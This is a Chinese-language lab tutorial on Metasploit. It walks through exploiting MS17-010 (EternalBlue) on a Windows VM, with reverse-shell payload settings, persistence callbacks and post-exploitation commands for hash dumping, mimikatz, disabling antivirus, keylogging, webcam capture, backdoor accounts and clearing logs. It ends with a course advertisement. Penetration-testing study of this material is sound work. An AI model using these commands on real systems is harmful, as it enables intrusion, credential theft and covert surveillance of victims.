一、实验环境:
靶 机: windows10虚拟机:192.168.100.158
攻击机: kali虚拟机:192.168.100.132
二、简介:
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
三、Metasploit的安装和更新升级:
1.一键安装MSF:
在一般的linux中,默认是不安装MSF的。以下是在非kali的Linux下安装MSF框架。
所需命令:
- #一键安装MSF:
- curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
-
- adduser msf #添加msf用户
- su msf #切换到msf用户
- cd /opt/metasploit-framework/bin #切换到msf所在的目录
- ./msfconsole #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使用root用户启动的话,不会同步数据库
-
- #也可以将msfconsole加入到执行目录下,这样在任何目录直接msfconsole就可以了:
- ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
-
- #备注:
- #初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用 msfdb reinit 命令,然后使用非root用户初始化数据库。
-
- # 非kali环境下更新升级MSF:
- msfupdate # MSF后期的升级
- # kali环境下更新升级MSF:
- apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)
- apt upgrade # 更新已安装的软件包,不删除旧包;
- apt full-upgrade # 升级包,删除旧包
复制代码
2.MSF的更新升级:
2.1非kali环境下更新升级MSF:
命令:
2.2 kali环境下更新升级MSF:
由于kali中的Metasploit渗透测试框架是集成在系统中的,不是单独安装,不支持使用msfupdate命令更新,更新的话需要随系统程序更新。
使用msfupdate命令会出现下面的情况:
- ┌──(root💀kali)-[~/桌面]
- └─# msfupdate
- msfupdate is no longer supported when Metasploit is part of the operating
- system. Please use 'apt update; apt install metasploit-framework'
复制代码
在kali中更新MSF使用以下命令:
- apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)
- apt upgrade # 更新已安装的软件包,不删除旧包;
- apt full-upgrade # 升级包,删除旧包
复制代码
使用上面命令,是在更新系统程序的同时,把MSF更新。
四、使用方法:
1.基础使用:
- msfconsole #进入框架
- search ms17_010 # 使用search命令查找相关漏洞
- use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
- info #使用info查看模块信息
- set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
- show options #查看模块需要配置的参数
- set RHOST 192.168.100.158 #设置参数
- exploit / run #攻击
- 后渗透阶段 #后渗透阶段
复制代码
不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。
我们也可以将攻击代码写入configure.rc(只要是以.rc结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc进行自动攻击!
2.MSF中加载自定义的exploit模块:
点击进入参考文章:CVE-2019-0708 远程桌面漏洞复现,该文中介绍了如果加载自定义的exploit模块并且成功攻击。
3.漏洞利用(exploit):
漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。
exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
- /usr/share/metasploit-framework/modules/exploits
复制代码
进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用:
进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。
4.攻击载荷(payload):
Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。
4.1 payload模块路径::
- /usr/share/metasploit-framework/modules/payloads
复制代码
4.2 Metasploit中的 Payload 模块主要有以下三种类型:
Single:
是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
Stager:
这种Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
Stage:
是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:
- #Single Payload的格式为:
- <target>/ <single> 如:windows/powershell_bind_tcp
- #Stager/Stage Payload的格式为:
- <target>/ <stage> / <stager> 如:windows/meterpreter/reverse_tcp
复制代码
当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:
注:
在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload。
而windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp组成。
Stager中几种常见的payload:
- windows/meterpreter/bind_tcp #正向连接
- windows/meterpreter/reverse_tcp #反向连接,常用
- windows/meterpreter/reverse_http #通过监听80端口反向连接
- windows/meterpreter/reverse_https #通过监听443端口反向连接
复制代码
正向连接使用场景:
我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。
反向连接使用场景:
我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
反向连接80和443端口使用场景:
被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。
5.Meterpreter:
Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
5.1 Meterpreter是如何工作的?:
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
5.2 Meterpreter的特点:
Meterpreter完全驻留在内存,没有写入到磁盘。
Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。
默认情况下, Meterpreter的通信是加密的,所以很安全。
扩展性,许多新的特征模块可以被加载。
我们在设置payloads 时,可以将payloads设置为:windows/meterpreter/reverse_tcp ,然后获得了meterpreter>之后我们就可以干很多事了!具体做的事,在我们下面的后渗透阶段都有讲!
6.MS17_010(永恒之蓝):
我们现在模拟使用 MS17_010 漏洞攻击,这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞。
6.1 查找漏洞相关模块:
1、在kali命令行里面输入命令msfconsole,进入msf框架中:
- msfconsole #输入这个命令主要是进入msf渗透框架中
复制代码
2、搜索MS17_010漏洞:
命令:
- search ms17_010 #利用search命令,搜索漏洞相关利用模块
复制代码
这里找到了四个模块,前三个是漏洞利用模块,后两个是辅助模块,主要探测主机是否存在MS17_010漏洞。
6.2 利用Auxiliary辅助探测模块对漏洞进行探测:
Auxiliary辅助探测模块:
该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
1、使用smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进行探测:
命令:
- use auxiliary/scanner/smb/smb_ms17_010
复制代码
2、查看这个模块需要配置的信息:
命令:
- show options #查看这个模块需要配置的信息
复制代码
3、设置要探测的远程目标:
注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞
命令:
- set rhosts 192.168.100.100-192.168.100.190
复制代码
4、对上面设置的ip范围内的主机进行攻击:
注:有+号的就是可能存在漏洞的主机,这里有2个主机存在漏洞
命令:
6.3 使用Exploit漏洞利用模块对漏洞进行利用:
1、选择漏洞攻击模块,对漏洞进行利用:
命令:
- use exploit/windows/smb/ms17_010_eternalblue
复制代码
2、查看这个漏洞的信息:
命令:
3、查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统:
命令:
注:这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。
6.4 Payload攻击载荷模块:
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。
1、查看攻击载荷:
命令:
- show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload
复制代码
2、设置攻击载荷:
命令:
- set payload windows/x64/meterpreter/reverse_tcp
复制代码
3、查看模块需要配置的参数:
命令:
4、设置攻击载荷参数:
命令:
- set RHOST 192.168.100.158 #设置RHOST,也就是要攻击主机的ip
- set LHOST 192.168.100.132 #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
- set lport 6666 #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;
复制代码
5、进行攻击:
7. 后渗透阶段:
运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的6666端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现:
Meterpreter的命令用法:
我们输入: shell即可切换到目标主机的windows cmd_shell里面:
命令:
- shell #获取目标主机的cmd_shell权限
- chcp 65001 #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
复制代码
要想从目标主机shell退出到meterpreter ,我们只需输入:exit:
从meterpreter退出到MSF框架:
命令:
- background #把我们获得的meterpreter会话挂载到后台运行
复制代码
查看前面获得的meterpreter_shell会话,最前面的数字是会话的id:
命令:
- sessions -l #查看获得的meterpreter_shell会话列表
复制代码
输入sessions [id号]即可进入相应的meterpreter_shell中:
输入:shell即可进入 cmd 类型的控制,再输入:powershell,即可进入 powershell 类型的控制台:
- sysinfo #查看目标主机系统信息
- run scraper #查看目标主机详细信息
- run hashdump #导出密码的哈希
- load kiwi #加载mimikatz
- ps #查看目标主机进程信息
- pwd #查看目标当前目录(windows)
- getlwd #查看目标当前目录(Linux)
- search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
- download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
- upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
- getpid #查看当前Meterpreter Shell的进程PID
- migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
- idletime #查看主机运行时间
- getuid #查看获取的当前权限
- getsystem #提权,获得的当前用户是administrator才能成功
- run killav #关闭杀毒软件
- screenshot #截图
- webcam_list #查看目标主机的摄像头
- webcam_snap #拍照
- webcam_stream #开视频
- execute 参数 -f 可执行文件 #执行可执行程序
- run getgui -u test1 -p Abc123456 #创建test1用户,密码为Abc123456
- run getgui -e #开启远程桌面
- keyscan_start #开启键盘记录功能
- keyscan_dump #显示捕捉到的键盘记录信息
- keyscan_stop #停止键盘记录功能
- uictl disable keyboard #禁止目标使用键盘
- uictl enable keyboard #允许目标使用键盘
- uictl disable mouse #禁止目标使用鼠标
- uictl enable mouse #允许目标使用鼠标
- load #使用扩展库
- run #使用扩展库
-
- run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888 #会自动连接192.168.100.132的8888端口,缺点是容易被杀毒软件查杀
- portfwd add -l 9999 -r 192.168.100.158 -p 3389 #将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址
- clearev #清除日志
复制代码
7.1 Post 后渗透模块:
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
- run post/windows/manage/migrate #自动进程迁移
- run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
- run post/windows/manage/killav #关闭杀毒软件
- run post/windows/manage/enable_rdp #开启远程桌面服务
- run post/windows/manage/autoroute #查看路由信息
- run post/windows/gather/enum_logged_on_users #列举当前登录的用户
- run post/windows/gather/enum_applications #列举应用程序
- run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
- run post/windows/gather/smart_hashdump #dump出所有用户的hash
复制代码
输入:sysinfo 查看目标主机的信息:
7.2 查看主机是否运行在虚拟机上:
查看主机是否运行在虚拟机上,可以看出主机是在虚拟机环境:
命令:
- run post/windows/gather/checkvm
复制代码
7.3 关闭杀毒软件:
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:
7.4 获取目标主机的详细信息:
使用命令:
它将目标机器上的常见信息收集起来然后下载保存在本地
7.5 访问文件系统:
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:
- pwd #查看当前目录
- cd #切换目标目录;
- cat #读取文件内容;
- rm #删除文件;
- edit #使用vim编辑文件
- ls #获取当前目录下的文件;
- mkdir #新建目录;
- rmdir #删除目录;
复制代码
7.6上传/下载文件:
7.6.1下载文件:
命令:
- download file #命令可以帮助我们从目标系统中下载文件
复制代码
7.6.2 上传文件:
命令:
- upload file #命令则能够向目标系统上传文件。
复制代码
7.7 权限提升:
有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权。
命令:
- getuid
- #命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。
- getsystem
- #自动提权为系统权限
复制代码
注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
7.8 获取用户密码:
点击进入:使用MSF抓取用户密码
7.9 运行程序:
先查看目标主机安装了哪些应用:
命令:
- run post/windows/gather/enum_applications #查看目标主机安装了哪些应用
复制代码
在meterpreter_shell命令行执行目标系统中的应用程序:
命令:
- #execute命令用法:
- execute [参数] -f 指定的可执行文件
- -f:指定可执行文件
- -H:创建一个隐藏进程
- -a:传递给命令的参数
- -i:跟进程进行交互
- -m:从内存中执行
- -t:使用当前伪造的线程令牌运行进程
- -s:在给定会话中执行进程
复制代码
7.11 屏幕截图:
1、截图目标主机屏幕,可以看到,图片被保存到了/root/桌面/目录下:
命令:
2、目标主机的屏幕截图如下:
7.12 创建一个新账号:
先查看目标主机有哪些用户:
命令:
- run post/windows/gather/enum_logged_on_users #查看目标主机有用户
复制代码
在目标系统中创建一个新的用户账号的方法一:
命令:
- run getgui -u 用户 -p 密码
- -u: 指定用户
- -p: 指定密码
复制代码
注:这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。这里成功创建了用户,但是添加到Administrators组中失败了!
如果添加到Administrators组中失败了的话,我们可以运行:shell ,进入cmd窗口手动将该用户添加到administrators组中。
在目标系统中创建一个新的用户账号的方法二:
命令:
- enable_rdp脚本:
- run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456 #添加用户
- run post/windows/manage/enable_rdp #开启远程桌面
- run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
复制代码
7.13 启用远程桌面:
当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),我们输入:run post/windows/manage/enable_rdp命令可以开启远程桌面。
在开启远程桌面会话之前,我们还需要使用idletime命令检查远程用户的空闲时长:
开启远程桌面:
命令:
- run post/windows/manage/enable_rdp
复制代码
然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。由于上一步创建的用户没有被添加到远程桌面用户组中,所以这一步就没法演示。
7.14 键盘记录:
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
- keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看;
- keyscan_dump: #显示捕捉到的键盘记录信息
- keyscan_stop: #停止键盘记录功能
复制代码
注:在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录。
7.15 进程迁移:
Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,我们会将Meterpreter跟 winlogon.exe绑定,并在登录进程中捕获键盘记录,以获得用户的密码。
首先,我们需要使用:ps 命令查看目标设备中运行的进程:
我们可以使用:getpid 查看我们当前的进程id:
使用:migrate+目标进程ID命令来绑定目标进程id,可以看到通过进程迁移后,当前的Meterpreter的pid已经和 winlogon.exe一样了:
这里绑定目标pid的时候,经常会断了shell。进程迁移后会自动关闭原来Meterpreter进程,没有关闭可使用 kill pid 命令关闭进程。
或者使用自动迁移进程(run post/windows/manage/migrate)命令,系统会自动寻找合适的进程然后迁移。
7.16 禁止目标主机使用键盘鼠标:
命令:
- uictl disable(enable) keyboard #禁止(允许)目标使用键盘
- uictl disable(enable) mouse #禁止(允许)目标使用鼠标
复制代码
7.17 用目标主机摄像头拍照:
- webcam_list #获取目标系统的摄像头列表
- webcam_snap #从指定的摄像头,拍摄照片
- webcam_stream #从指定的摄像头,开启视频
复制代码
获取目标系统的摄像头列表,可以看到目标主机有一个摄像头:
可以指定的摄像头拍摄照片,可以看到已经获得从目标主机拍摄到的照片:
开启摄像头拍摄视频,会弹出一个网页,可以查看到摄像头那端的实时录像:
8.导入并执行PowerShell脚本:
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户:
- load powershell #加载powershell功能
- powershell_import /root/PowerView.ps1 #导入powershell脚本,提前将该powershell脚本放到指定目录
- powershell_execute Get-NetDomain #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块;获取当前用户所在域的名称;
- powershell_execute Invoke-UserHunter #该功能模块用于定位域管理员登录的主机;
- powershell_execute Get-NetForest #该模块用于定位域信息
- powershell_execute Invoke-EnumerateLocalAdmin #枚举域中所有计算机上本地管理员组的成员
复制代码
9.加载stdapi:
有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令,这时我们可以执行:load stdapi来加载,这样我们就可以执行命令了。
10. 升级Session:
有时候,当我们收到的不是 meterpreter 类型的 session 的话,可能不好操作。我们可以执行命令 sessions -u id 来升级session。执行该命令,默认调用的是 post/multi/manage/shell_to_meterpreter 模块。
题外话
黑客&网络安全如何学习
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的网安视频教程,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。
内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,200多G的资源,不用担心学不全。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源